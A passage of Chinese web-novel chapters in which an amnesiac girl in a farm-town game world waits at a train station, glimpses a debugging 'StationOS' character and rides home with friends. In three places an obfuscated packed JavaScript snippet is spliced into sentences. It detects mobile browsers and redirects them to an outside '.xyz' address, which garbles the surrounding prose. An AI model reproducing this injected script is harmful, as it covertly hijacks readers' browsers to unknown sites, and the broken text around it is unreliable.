“嗯……有时候实在忍不住就会多占卜几次啦,但是和妈妈一起时我就会忍住。” 孔映表示理解,就是熊孩子氪金嘛! 于是,由于多萝西娅的缺席,孔映很快就眼睁睁看着路易莎占卜了两次,并且得来两条新的谶语。 「有颗扣子不属于这件猎户外套。」 「橙红色是今天的幸运色。」 啊,她想她有些明白路易莎看见她花两枚硬币买下松果的心情了,更何况这是二十枚硬币,比她全副身家都多! 路易莎却因为这谶语重新振奋起来:“克莉丝塔,我明白奇奇的意思了!” “什么?” “橙红色是你头发的颜色,今天你会有好运的!” 话音落下,孔映的脑袋即刻教树冠上掉落的东西砸中。 8. 〇八 “咦?” 路易莎一怔。 孔映同样一怔,接着有惊无险地摘下砸落在头顶的东西—— 还好只是团染线,否则她会脑震荡的。 她握着线团扬起脖颈,在茂盛的树冠间寻觅到一条蓬松的没有藏好的松鼠尾巴,微微挑眉。 所以奇奇该不会是真的养了只松鼠吧? “啊,是布鲁斯!”路易莎忽然反应过来,惊喜道。 孔映手中的线团正是一团茜草红染线,她感到些许不可思议,看向奇奇。 奇奇已经不那样警惕她,而是端着副高傲姿态坐在原处,悠悠凝望向远方,活似神龛里的猫神大人。 依照路易莎稍显牵强的解释看,那条语焉不详的谶语大概算是应验了。 她找到了布鲁斯,可以前去兑换报酬,虽然说脑袋被不轻不重地砸了下,但应该还是能算作幸运事一桩的。 离开树屋前,路易莎念念不舍地同奇奇道了别,并表示下次来镇上时还会来拜访它,孔映则最后看一眼那只连尾巴都在伤心的松鼠,狠心带走了布鲁斯。 她以为她们需要回到市政厅,但路易莎告诉她她们可以直接去找委托人诺亚,顺便在糖果店买些糖果给农场里的孩子们,于是她们直奔狮子泉广场去。 狮子雕像、花坛、彩色玻璃窗…… 时隔数日,孔映再次来到她醒来时的圆广场上。 “真是奇妙,前些天我还在这里盘问你,现在你已经成了我的朋友。”路易莎站在狮子雕像前欣慰感叹。 是啊…… 真是奇妙得厉害。 鲁迪的糖果店有着苹果红的外观,门前立着块雕花木牌,交错刷上灰蓝色与奶白色,构成了店铺的名字。 糖果店开着门,两个女孩走进店内。 店铺窄小,柜台后空无一人,只有两个刷了薄荷绿油漆的橱柜立在墙边,橱柜的隔板上是摆放整齐的玻璃罐,有些像是胡丽安家中的药橱,但这些玻璃罐里装满各色糖果和巧克力豆,贴着写有糖果名字的彩色标签。 “鲁迪,诺亚,你们在吗?” 橱柜旁有道拱门,路易莎询问一声后,隔间里传来含糊不清的声音,又等上许久,那里才走出一人来。 老人满头白发,慢吞吞走来柜台后。 “鲁迪,诺亚不在店里吗?” “啊,啊,好,香草硬糖。” 鲁迪喃喃应声,自顾自取出一张牛皮纸和一柄银羹匙,转身去寻橱柜上的糖罐。 路易莎又将声音放大些:“鲁迪,我们有事要找诺亚,请问他去了什么地方?” “奶油杏仁酪,好,好……” “……” 如果是游戏的话,随机性未免太高了些。 “好吧鲁迪,我还要称一些坚果太妃和一些红枫糖,”路易莎说完扭头问孔映,“你有什么想吃的糖果吗,克莉丝塔?” 这是我想吃什么就能买到什么的地方吗? 孔映面无表情腹诽着,但还是对着那些玻璃糖罐认真看上会儿,说道:“松露球听起来似乎不错。” “好的,坚果太妃和红枫糖,还有一些松露球。”鲁迪准确重复道。 孔映:“……” 这是什么五彩斑斓的黑店吗? 满头白发的黑店老板慢吞吞称完几包糖果,用细麻绳捆成一摞,并系好一个漂亮的蝴蝶结递出柜台。 “一共二十枚硬币。” 路易莎摸出钱袋,一边取硬币,一边对孔映说:“如果诺亚在,我们刚好可以用找到布鲁斯的报酬来换取这些糖果。” “布鲁斯!” 隔间里猛然传出一道人声,接着是一声巨响,像是踢翻了柜子。 两人闻声看去拱门处,只眨眼的功夫就见一个蓝头发的青年从那里钻了出来。 他双手重重拍到柜台上,探出上半身问道:“布鲁斯!你们找到了布鲁斯?” 路易莎礼貌回答起他,孔映则默默从包里取出那团染线递到柜台上,诺亚立刻捧起布鲁斯捂到胸口处。 “噢,真是太感激你们了,”他转头对鲁迪说道,“鲁迪,你这个坏老头,怎么可以这样无礼地招待两位如此杰出的天使呢?” “……” 真是有够夸张的称呼。 鲁迪气红鼻子:“坏小子,你应该滚回你的服装店去。” “你竟然说这样的话!” 男人们在骂骂咧咧,孔映觉得吵闹,拎起糖果并让路易莎收回那些硬币,说道:“走吧。” “请稍等!”诺亚叫住她们,将布鲁斯安顿到隔板上,随后就在橱柜前上上下下忙碌起来。 鲁迪似乎明白过来他意欲何为,在一旁生气:“离开!离开我的糖果店!” 诺亚分毫未受影响,很快包好同样一摞糖果,但当他回过身时,糖果店里早已没有两个女孩的身影。 诺亚不禁和鲁迪一起落下热泪来。 真是令人感动的天使啊! 糖果店保住了! 另一头,孔映和路易莎已经坐去广场旁一棵悬铃木下。 孔映倚在长椅上,思索未果后,问道:“为什么不收下诺亚的糖果呢?” “那样的话鲁迪会心碎的,”路易莎口吻无奈,又显得低落,“虽然鲁迪总是卖给大家不需要的糖果,但他已经很老了,也许很快就会离开我们,所以大家对他总是很宽容……当然这并不包括诺亚。” 孔映因这话微微发怔。 原来这个游戏里会有角色死亡吗?那么年迈的的布洛克太太、阿尔贝特太太和老约翰呢? 还真是不符合基调的狠心啊。 也许是因为孔映沉默了太久,路易莎随意取出一包糖果打开,送到她手边:“是奶油杏仁酪,试试看吧。” 两人又一起吃起糖来。白鸽在她们脚边踱步,黄蜂和蝴蝶拥簇在花坛间,某间商铺里传来舒缓的钢琴声…… 她们直坐到钟楼传来十一下钟响,这时,路易莎取出多萝西娅为她们包好的面包来——没办法,在镇上吃午餐实在很贵,所以她们前来等火车时常常是自己带上食物。 她递出其中一份蔓越莓面包,发现孔映正望着钟楼方向,不待开口,便听对方先出了声。 “路易莎,奇奇的谶语是在预言车站会发生的事。”话语掷地有声,孔映转回目光朝路易莎解释,“钟声敲到十二下时,我们会在火车站。” “如果是这样,后半句会是什么意思呢?” “日光照进空谷仓,也许是在说某种东西会落空……当然,这仅仅是我的猜测。” 路易莎捏紧了面包,但片刻之后,她又镇定如常,仅仅是比往日显得严肃些,说道:“我们早些去车站吧。” - 事实上,这才是孔映头回踏足尤格利亚的火车站,至少是她记忆中的头一次。 这里远比她想象中偏僻,或说简陋,月台上只有座红屋顶的候车厅和一处售票小屋。 孔映停在月台上,铁轨的另一侧生长着稀疏的树木,间杂着经人砍伐留下的矮树桩和黄土块,稍显杂乱。树木渐远渐密,让人辨不出树林的深浅。 仅有的两道铁轨由旧木枕铺就,其间布满碎石,铁道蜿蜒至一片遥远的松林后,接着就像是没入世界的边缘。同样,反方向的铁轨也消失在漆黑隧道中。 这是地图某端的边缘。 候车厅与售票小屋由一扇售票窗口连通,孔映与路易莎走进候车厅时,几条木椅上只散坐着五人。 费尔南多在睡觉,另外三人坐在一处百无聊赖打着牌,剩下一人则裹着件与季节不符的长风衣坐在角落,按下帽檐遮挡住眼睛,即使有人来也不抬头。 “哟,路易莎。”盘腿坐在长椅上打牌的女人看见她们,特意摘下嘴里的烟斗招呼句。 “你好,玛莎阿姨。” 听路易莎这样称呼她,孔映知晓对方就是磨坊里的玛莎。 “玛莎,你刚才是不是又出千了!”坐在她下位的那人忽然质问。 “奥托,我刚才只是和路易莎问了声好,詹姆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598538|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯为我作证。”玛莎再说话时,已经叼着烟嘴声音含混,但神情自若。 那么詹姆斯只能是剩下那人,他看起来有些不耐烦,眉头深皱说:“你们太吵了。”说完抬眼看了看售票窗口的方向,又道,“时间快到了,这局打完不和你们继续了。” 玛莎耸耸肩:“随你咯。” 话虽如此,下手却更狠,没用多久就从詹姆斯和奥托那里赚来一捧硬币。詹姆斯扔下牌,起身离开候车厅,奥托等他走远,立刻向玛莎要起钱。 “二十枚,不能更多了。”玛莎分出二十枚硬币给他。 “我本来就输给你二十枚!” 玛莎只好又拿出十枚硬币交给他,勉强平息了奥托的怒意,之后她才收好余下的钱,起身拍拍屁股朝路易莎坐着的地方走来。 尽管这时路易莎心情略显紧张,但她在玛莎面前还是维系着寻常模样,假意指责句:“玛莎阿姨,你又在捉弄人了。” “谁让他们制糖厂的人有钱呢?”她瞥见她们在糖果店的战利品,不客气道,“而你们这些傻瓜还在为糖果消费。” “……” 还真是有无产阶级意识,他们三个人玩的牌该不会是斗地主吧? “不,玛莎阿姨,今天的糖果是克莉丝塔完成委托兑换来的。” 路易莎解释完,想起来还没有向她介绍克莉丝塔,然而这次她还没来得及开口就被打断了。 “克莉丝塔?就是你吧?上次跳下火车落荒而逃的女孩。”玛莎吸了吸烟斗,虽是疑问,却一副笃定口吻。 孔映对上那双满是压迫感的眼睛,赶忙露出满脸无害模样,点头承认。心下却忍不住想,要是那时她是从这位女士的货车车厢跳出来,恐怕是要进局子里蹲几天的,就是不知道这里有没有完备的监狱系统可以体验了…… “玛莎阿姨,那天你也在车站吗?我怎么没有遇上你?”路易莎忽然疑问道。 孔映观察到玛莎面上的微妙变化,女人原本懒洋洋的神色间闪过一丝紧张,但也仅仅是一瞬间,接着她又恢复那副无所谓模样。 “当然,不过我来得比你晚,刚到就见你追着人离开,只留下费尔南多。” “原来是这样……不过您不该这样盯着克莉丝塔,她那时候惊慌失措只是因为她失去了记忆,你这样会吓到她的。” 玛莎不应声,但指尖轻点烟斗,仿佛酝酿着什么话。 这时,路易莎接着问她:“那你回磨坊时妈妈到了吗?” “你要相信多萝西娅一向比时钟还准。” 路易莎不禁一笑,说到时钟,她扭头看一眼售票窗口的方向。 一座柚木壳旧时钟嵌在窗口上方,距离正午还剩一刻钟。 想起克莉丝塔对占卜语的解释,她又感到几分不安,这种情绪于她而言是种接近陌生的存在,但她认为这和她刚得知安娜的存在时所感觉到的情绪一样。 “路易莎,你看起来有些不对劲。”玛莎眯起眼睛。 不知为何,孔映感到一股越发强烈的压迫感。虽然这位女士看起来惫懒散漫,但威严比起多萝西娅来根本不遑多让啊! “玛莎阿姨,我从奇奇那儿得到一条占卜语……”路易莎将事件始末坦白,最后解释说,“所以我很担心火车会出意外。” 只剩下最后几分钟。 “不,奇奇只是只会胡说八道的猫。”她说这话时意味深长地看着孔映。 路易莎似乎也察觉她在含沙射影,忙道:“玛莎阿姨,你这样太不友好了!” 孔映则只是眨眨眼睛。 她还是第一次在这个世界里遇上对她有所提防的人,此前她脑海里曾闪过的一些模糊念头在此时此刻复萌,并且清晰成型—— 她,或者说她这副身体的前主人,一个疑似从伊德尔镇来的外来者,该不会真的不是什么好人吧? 甚至说,她极有可能真的是大盗安娜? 啊,那这样的话她可要期待今天的火车出意外了,这样或许还能够为她排除掉这个可能性…… 9. 〇九 尤格利亚那群人,连法外之徒都被他们叫作「大盗安娜」,不知道的还以为是什么童话故事里的反派,总之就是气势全无。 - 火车站的摆钟敲响十二下,与城镇中心的钟楼遥遥呼应。 伴随第十二下钟声响起的,是售票小屋里坐着的红帽子管理员几乎没有起伏的声音:“列车已经到站,请收下来自远方的货物吧,顺便注意查收是否有新的订单。” “真该死,克拉克,你在发什么疯?”詹姆斯站在月台上,暴躁地向售票小屋里的人吼道。 “本趟列车将于明日正午出发,请及时卸货并装入上一趟列车的订单货物吧。” 奥托也跟着抱怨声:“老天,怎么没人来换走这个老傻瓜!” 克拉克先生权当作耳旁风,说完那两句话后就接着打起盹儿。 眼下,除了那位穿风衣的神秘人外,候车厅里的其余人都来到站台上,直到第十二声钟响被空气淹没,铁道上也迟迟未出现火车的踪影。 “文森特小姐!” 正值这时,月台上又赶来一行人,两个有着同样红卷发的年轻人,以及一个满脸络腮胡的壮汉。 呼唤路易莎是其中那个红卷发的少女,而另一个红发青年,白皙面庞下潜藏着一抹淡红色。 他们齐齐朝路易莎走来,路易莎回应那少女道:“格拉斯小姐,在这里见到你真是难得呢。” “是我要哥哥带我来的,我在小镇上买了些东西,所以我们才没准时赶来车站……”红发少女说完有些羞涩,说,“文森特小姐,上次我们不是说好你以后就叫我碧翠丝吗?” “好啊碧翠丝,那也请你不要见外,叫我路易莎或者路易莎姐姐好了。” 碧翠丝脸蛋更红,扭头看向兄长,却发现他好像脸红得更厉害。 碧翠丝:“……” 他太明显了啦! 孔映:“……” 还真是容易害羞的一家。 “路易莎,火车还没到吗?”红发青年腼腆开口询问。 一旁的詹姆斯听见后越发暴躁,冲青年吼道:“我说卢锡安·格拉斯,你是没长眼睛吗?” “詹姆斯先生!”碧翠丝忽而转头望向詹姆斯,目光如同带刺,“我想您这样说有些过分了。” 詹姆斯只得闭嘴,勉强按下火气道:“好吧,格拉斯小姐,我向你和卢锡安少爷道歉。” 碧翠丝转回脸,须臾又变回那副羞涩模样,这次她瞧向孔映,语气温和:“那么,路易莎姐姐,她是谁呢?” 孔映:“……” 这位妹妹反差感有些强呢。 路易莎为他们彼此做了引荐,接着才告知卢锡安火车没能准时到达的事。 站台之上,除了詹姆斯和奥托骂了几句克拉克先生外,没有人再去尝试和他说话,因为克拉克先生从来都只说那几句固定的话,其余时候不是在打盹儿就是在睡觉,可以说是尤格利亚最懒的懒汉。 路易莎告知格拉斯兄妹火车的情况后,站台上重新陷入静默中,似乎人人都面带愁色。 孔映也不例外,虽然她此前担心自己有可能是大盗安娜,但这并不意味着她当真期待一场意外。 相反,这里每出一次故障都会让她感到紧张。那些微妙的违和感、那些世界崩溃的瞬间都令她没有头绪。 「有颗扣子不属于这件猎户外套。」 奇奇的另一条谶语同样被她记住,因为那听起来也像是在说她—— 她不属于这个小镇。无论是作为「克莉丝塔」,还是作为「孔映」,她都不属于尤格利亚。 孔映这样想着,默默离开人群,退回售票小窗外。窗口开着,克拉克先生支着下巴在窗下打盹儿,他的右手肘旁是一摞传单,孔映一眼便注意到那里,伸手顺出一张来。 传单由彩色油墨和铜版纸印刷而成,显然与这个世界不相契合,传单上印着火车站最初始的状态,崭新的候车厅和停在铁道上的崭新列车。 除去车头车尾,列车总共四节车厢,全都没有窗户,这说明列车只有载货车厢,没有客舱。车厢涂成红色,顶部则刷上苹果绿油漆,厢身上是各种涂鸦,其中一节车厢上刷着文森特农场的名字,格外显眼。 孔映认真瞧着,倏地,周围的一切凝滞不动,所有的浮躁气息都消失在空气中,连她也被某种水压似的东西压制住,无法作出动作。 候车厅里的神秘人突然出现在她身前,抽走她手中的彩印传单。 他帽檐低压,甚至还戴着副墨镜,唯独冷硬的下颌线赫然出现在孔映的视野里。他将传单放回原处,接着站定在孔映面前,伸出右手触碰到他的墨镜。 孔映瞧见那墨镜上流动的字符。* [StationOS] AutoDebug v4.1.3 # 最好是没我事……不想上班啊 SCANNING: Platform_NPC_Group - Checking pathfinding……… [OK] - Validating dialogues……… [OK] - Behavior consistency……… [OK] …… - Emotion variance……… [UNSTABLE: NPC_#F088 - spike +241%] [不稳定:编号F088NPC情绪激增241%] >> INITIATING EmotionRegulator_Subroutine[v3.9.2] [情绪调节子程序v3.9.2启动中……] - Rebalancing vocal tone……… [OK] - Restoring baseline profile……… [OK] …… >> FINAL STATUS: Minor anomaly resolved [轻度异常已解决] >> Stability Index restored: 95.2% [稳定性指数恢复至:95.2%] >> RESULT: No active anomalies detected[未检测到当前异常] >> STATUS: Returning to idle mode[正在返回空闲模式] # 问题不大……果然在火车站子区块上班就是很好命呢! 好命的神秘人调试完一个小问题,瞬移离开。 孔映在他离去的瞬间恢复知觉,她垂下停在胸前空握的手,不着痕迹地挪到候车厅门口,朝里看去时,那人已经重新坐回角落里。 什么嘛,穿成这样原来只是个自动捉虫机器人,压根神秘不过三秒。 不过他真的不用再扫描下其他异常吗? 比如说列车的延误与管理员的信息不对称,比如一个显然不属于这里的NPC拿起显然不该被拿起的传单…… 该不会是摸鱼太久自己也摸出故障了吧? 但不得不说,这好像是挺有趣的。 大约是因为她窥探到游戏背后的一环,孔映觉察到自己隐隐有些兴奋起来,但与此同时,她又对自己的存在越发感到奇怪—— 为什么她会发现这些奇异的现象,是因为她原本就不属于这个世界吗?她究竟是谁? 作为双重失忆者的孔映在同一天内为自己的双重存在感到头疼。 所以说,还是做个没有过去的人才比较幸福吧…… 思索间,站台上响起奥托的声音。也许是等太久,他又打起詹姆斯的算盘来,他想,以詹姆斯的性子,必然不愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598539|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在站台上遥遥无期地等下去,于是提议说:“詹姆斯,你要是等不住的话,可以给我一笔钱,车来之后我会帮你卸货装货的。” 然而,奥托没能料到詹姆斯已经平复下来,闻言只是冷静回他:“少打我的主意,奥托,我更愿意在这里睡上一觉,直到车来。” 他说罢回身走回候车厅,选了一条长椅睡下。 其他人见状,也纷纷回候车厅内暂候。 碧翠丝在路易莎左手边坐下,提议将另一条长椅转向她们,这样其他人就可以坐在对面。于是,玛莎很快在孔映对面坐了下来,她旁边是卢锡安,正对着路易莎而坐。费尔南多和那位来自格拉斯农场的壮汉雇工则与奥托坐在离门口最近的地方。 玛莎左手环抱住身体,右手举起烟斗,并不吸烟,仅仅眼帘轻垂坐在那里沉思。孔映的目光先在玛莎身上停留会儿,接着才打量起卢锡安,见他坐姿稍显僵硬,孔映猜出他正在紧张,但这紧张并非先前那种出于腼腆的紧张。 他们静默着。 柚木壳的旧时钟走动如常,火车依旧没有音讯。 许久,碧翠丝终于忍耐不住,出言打破静谧,她征求意见般扭头望向路易莎,说道:“我们说些什么吧,否则这样等下去很煎熬,对吗?” “可是,大家似乎都没有心情说话……” 这句话像是点醒了玛莎,她抬起头来,突然对路易莎道:“既然如此,路易莎,你和克莉丝塔先回农场吧,反正这里有费尔南多在不是吗?” “可出了这样的事,我也想等等看。” “但你们要是太晚没回去,多萝西娅会担心的。” 路易莎面露难色,想了想说:“可我们今天只来了一辆马车,我和克莉丝塔先回去的话,费尔南多就没有马车载货了。” “他可以用我的马车,毕竟我的货物一向不多。” 玛莎说完,卢锡安忙接过话:“我们有两架马车,也可以帮忙!” 这副架势倒像是他们想立刻送路易莎离开,孔映若有所思,路易莎则看向卢锡安。 四目相对,卢锡安这时不再像先前那样羞赧,而是意外变得坚毅,说道:“路易莎,你知道碧翠丝不能在外面呆太久,拜托你带她回农场去吧!” “哥哥!” “碧翠丝,路易莎小姐就拜托你了。”卢锡安对着碧翠丝又转变了下说法。 碧翠丝立刻双颊绯红,正要答应这个请求,就听远处传来了哐当哐当的声响,她还没来得及反应,坐在门边的奥托就喜出望外冲去站台上。 “回来了!” 众人重回站台上,孔映先前在传单上看到的那列火车以极其缓慢的速度向站台驶来。 它看起来旧得厉害,圆柱状锅炉体上红漆脱落,露出反光的银色部件,外壳甚至有几处凹陷和变形。轮轴与轨道摩擦出刺耳的咯吱声,车头上的红烟囱里随之喷出一朵朵黑色烟雾,像极了跑至终点前喘息出的大口浊气。 明明它没有被设计成托马斯那样的卡通小火车,但落在孔映眼里,它好像有鼻子有眼,是一只顶级战损版萌物,像是捡破烂归来的萨摩耶老师。 “太好了……” 孔映听见路易莎低喃声。她发现其他人好像并不为火车的残损感到意外,那它大概是很早以前就变成了这样。 列车进站,奥托与詹姆斯先行前往货舱里检查货物,两家农场的雇工也分别前往各自的车厢,路易莎则径直奔走向车头处。 孔映下意识跟上她,刚刚走近驾驶舱,舱门就打开来,一个青年从窄小的驾驶舱跳到站台上,他身型颀长清瘦,肩头却挎着个鼓鼓囊囊的邮包。 “太好了!阿祖拉,你回来了!” 阿祖拉抬起面庞,面容沉静。 他的黑发微微遮挡住视线,但依旧能辨出他有双漆黑的眼睛,而此刻,那双眼睛正越过路易莎看向孔映。 10. 一〇 透过那双眼睛,孔映仿佛感知到一股涌动的暗潮。 “你认识我?” “不认识。” 对于她笃定得不像疑问的疑问,阿祖拉口吻平淡地回应声。 路易莎感到奇怪,正想问孔映为什么这样问,就见阿祖拉低头打开了邮包,她的注意力被转移,忙问他:“是英格玛来信了吗?” 阿祖拉没有回答,只是取出信递向她。 她接过信件,辨别出上面的字迹后,出于兴奋想要给阿祖拉一个拥抱,但阿祖拉敏锐退后一步,躲开了她,她只好转身抱住身后的孔映。 “太好了克莉丝塔,是英格玛的信,妈妈一定会很高兴!”她喜悦地松开她,又问阿祖拉,“这么说,英格玛又回到伊德尔镇了吗?” “我只是收到这封信,并没有见到她。”阿祖拉难得说了个长句。 “好吧……” 路易莎满足于此,仔细收起信件,接着,她抬眼看向高高的驾驶舱。 舱内,一个穿制服的女人正仰头大睡,路易莎对此像是习以为常,收回目光重新看向阿祖拉,问:“阿祖拉,火车为什么会晚到呢?你们遇上——遇上什么危险了吗?” 也许她想问的是安娜,但安娜于她本该是个秘密。 她的话将格拉斯兄妹和玛莎也吸引来车头处,突然被人包围住的阿祖拉又后退一步,神色疏离,口吻平静:“只是遇到山石滑落,我们清理了一会儿道路。” “原来是这样,还真是吓到我们了。” “好了路易莎,这下你可以安心回农场了。”玛莎说道。 “路易莎小姐,我还可以和你一起回去吗?”一旁的碧翠丝急忙追问她,她既没有称呼路易莎为文森特小姐,也没有直呼她的名字,而是叫她路易莎小姐。 路易莎听罢一笑,打趣似的答她:“当然了,碧翠丝小姐!” 归途中,收到英格玛来信的路易莎比来时更加愉悦,更何况今天回来的货物里还有两块红砖——她将这个功劳记在孔映“头”上,因为她的头发是幸运的橙红色。 路易莎在马车上分出一部分糖果给碧翠丝,碧翠丝则从她的布包里取出一个小纸包,满脸羞涩地塞进路易莎手心里。 “这是我从苏珊那儿买来的神秘种子,希望能种出路易莎小姐喜欢的东西来。” “可这不是你特地来买的吗?还请你留下吧,不用客气。” 碧翠丝垂下头颅:“反正我一向不擅长种植,这些种子被我种下也很有可能是浪费,不如交由路易莎小姐……哥哥说你擅长做所有的事。” “什么嘛,卢锡安那家伙总是很夸张!” “不是的!” “抱歉,这样说他真是不礼貌。” “不是的……”碧翠丝口气立刻弱了下来,“总之我也觉得路易莎小姐你很厉害,还请你收下这些种子,等它们长出来后,我会来文森特农场拜访你的!” 如此盛情难却,路易莎到底还是收下了种子,其后话锋一转,说道:“碧翠丝,你看起来比从前要健康很多。” 碧翠丝微笑点点头,满是愉悦:“不错,不知道为什么,前几天突然间就感到很轻松,离开农场也不会像以前那样疲惫不堪了,所以今天才会到镇上来。” “说不准是你的病情在好转,或许你可以再找胡丽安看看。” 两人的对话的引起孔映的好奇来,她坐在她们对面的座椅上,闻言转睛看向碧翠丝。碧翠丝几乎在第一时间就敏锐觉察到她的视线,继而目光偏移。 视线交汇,孔映意外地没有闪避,碧翠丝眼底因此多出几分探究。 “克莉丝塔小姐,”她忽然问她,“你会一直待在文森特农场直到记忆恢复吗?” 乍听见记忆恢复的假想时,孔映心底某种情绪呼之欲出。 “我不知道。” 她仍旧是脱口而出这四个字,像是一种带有逃避意味的习惯性口头语。 碧翠丝疑惑:“不知道会不会一直留在这里吗?” “不……”孔映的想法缓缓清晰,并得以重申,“恰恰相反,也许我会想永远留在这里。” 做一个没有记忆没有过去的人,永远留在这里。 对面两人因为这话皆定睛看着她,路易莎眉宇温和,但情绪却并非是一览无余的。应该说有股淡淡的愁绪在马车车厢里扩散开,这种愁绪属于碧翠丝,同样也属于路易莎,但只有碧翠丝一语道破它—— “还真是不一样呢,因为我一直都更希望去别的地方看看。” 路易莎突然扭头看向身侧的女孩。 碧翠丝握起双拳,像是鼓足了勇气,说道:“我从前总是体弱无力,所以不能像路易莎小姐那样四处走动,但我一直一直都很希望能够像她一样——” “不!”路易莎突然高声打断她,她的情绪奇异地高涨,“唔,我是说……也许我不值得你这样憧憬,你或许会更向往我的妹妹英格玛。” “可我并不了解英格玛小姐。” “卢锡安没向你提过她吗?” 碧翠丝点点头,又摇头:“他很少提起英格玛小姐。” “还真是个害羞的家伙。”路易莎咕哝句,这时她比刚刚平静了很多,她像当初对孔映提起英格玛那样,也向碧翠丝说起妹妹来。 “我想,英格玛一定是整个尤格利亚最勇敢的人,她会带上镰刀和猎枪去森林里探险,会带上锤子到山上采石料,会背上背包钻进列车车厢,我想没有人比她更早离开尤格利亚,我——” 她猛然一顿,面容上显露出迟疑的痕迹,车厢里另外两人都屏息静待着她接下来的话。 但风声柔软,马蹄落在草地上,世界在此时此地悠闲并安宁。 与此同时,缓行的车窗外闪过一群孩子,他们在篱桩上攀行,看见路易莎的马车后叽叽喳喳起来。 “是路易莎!” “你好,路易莎!” “太好了路易莎,请等一等——” 路易莎那句没能说出口的话终于被打断,她探头叫停了马车,跳下车去。 一个个头不高的男孩率先冲来她面前,将手里提着的东西交给她,说道:“路易莎,这里面是你的皮靴,妈妈刚刚修好它,让我送去你那里!” “谢谢你,威廉姆斯。” 路易莎向他答谢,将皮靴放进车中,这时其他小孩沿着篱桩攀走过来,其中一个大嚷道:“威廉姆斯,你‘死’了!” 他们在玩「谁的脚先落地谁就死掉」的游戏,路易莎正好接过孔映递出车厢的糖果,闻声扬手晃动两下,一众小孩便纷纷跳下篱桩,但求一死换取糖果。 她因此大笑,派分了糖果。 “谢谢你路易莎,等爸爸钓鱼回来,我会带很多鱼去你家。”小女孩这般答谢,其余孩子也七嘴八舌着。 结束与孩子们的应酬后,路易莎重新回到车上,挥手同他们道别。 等马车驶出一段距离后碧翠丝才两眼亮晶晶地望向她,赞叹道:“路易莎小姐真是受欢迎的人啊。” 出乎意料的,路易莎没有接过话。 她似乎在出神,直到意识到车内另外两人都看着她,这才挺直腰板问:“你们看我做什么?” “路易莎小姐,你刚刚有那么一会儿看起来像是灰色的。”碧翠丝用奇怪的方式形容她。 “灰色的?”路易莎困惑,“那现在呢?” “现在么……” “现在是像蜂蜜一样的金棕色。”孔映接过话说,口吻认真得厉害。 碧翠丝捣捣脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598540|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋,赞同道:“不错,路易莎小姐像蜂蜜一样。” “你们一定是吃太多糖果了,真是嘴甜。” 碧翠丝双颊微红,但当她转看向孔映时,那双眼里分毫不见羞涩。孔映隐约明白她是在朝她传达某种暗示,不免感到费解。 这位格拉斯小姐,到底是怎样的一个少女呢? “路易莎小姐,如果再过几天我仍然像现在这样健康,我可以邀请你和我一起去采蓝莓吗?”她转过话题问。 “当然,是去北边的高地吗?” “不错,你之前去过吗?” “妈妈带我去过几次。” 她们谈论起农场北部的高地,从蓝莓到越橘再到野樱桃,像是都忘记了先前没说完的话。孔映侧耳倾听着,一面却无端回想起初来那天她和路易莎一起躺在草地上的情形—— 那时路易莎伸手探向天际,像是在感知遥远的事物,而她刚刚欲言又止时也透露出同样的气息。 路易莎,谁在阻挠你说出那些话呢? “克莉丝塔,你同意吗?” 孔映露出副没认真听课但被老师点名的表情来。 路易莎几乎习惯了她的坏习惯,只好无奈至极地重复:“碧翠丝决定带上卢锡安,但她要征求女孩们的同意。” “当然可以。” “那就这么说定咯!” 她们约好了山地之行,抵达岔路口时,卢锡安的马车已经停在那里等候已久,碧翠丝就此与她们分别,但她走出几步后突然又回过身来。 “是了,还没有对你说——” 她看向孔映,“很高兴认识你,克莉丝塔小姐。” 说完便转身登上格拉斯家的马车,好像她并不需要得到回应那样,卢锡安也向路易莎道了别,一脸喜悦地驾车离开。 路易莎久久地望着车窗外,直到斜坡隔断视线,才喃喃自语:“真希望碧翠丝能一直好下去。” “她以前是什么样呢?”孔映问。 “以前她总是待在房间里,偶尔才出来走动,而且用不了多久就会体力不支,卢锡安说她曾经独自离开过格拉斯农场,但最后晕在牧场旁,等他们带她回去后,她好几天都不能离开房间……” 路易莎说完更加怅惘,孔映则陷入沉思。 不久,惆怅在文森特之家得知英格玛来信后的喜悦中隐去。这天傍晚,文森特之家充溢着喜悦的味道,当然,还充溢着烤鸡的味道,孔映用过晚餐,先行回到阁楼。 她坐去红橡木书桌旁,点燃蜡烛安放到赤陶烛台上,随后取出那颗在小镇上买来的松果观察起来。 松塔的鳞片已经绽开,没有松子,像一颗微缩的菠萝。 它有什么特殊的呢? 为什么她看到它的第一眼就想买下它? 孔映思索未果,只捏着松塔把玩,及至夜幕降临时才慢吞吞回过神来。 真是够无聊的,一颗松果也能玩半天。 她想着,将松塔安放在书架上,正要起身,却在松塔摇晃的间隙想起那只倚在桌边的木箱来—— 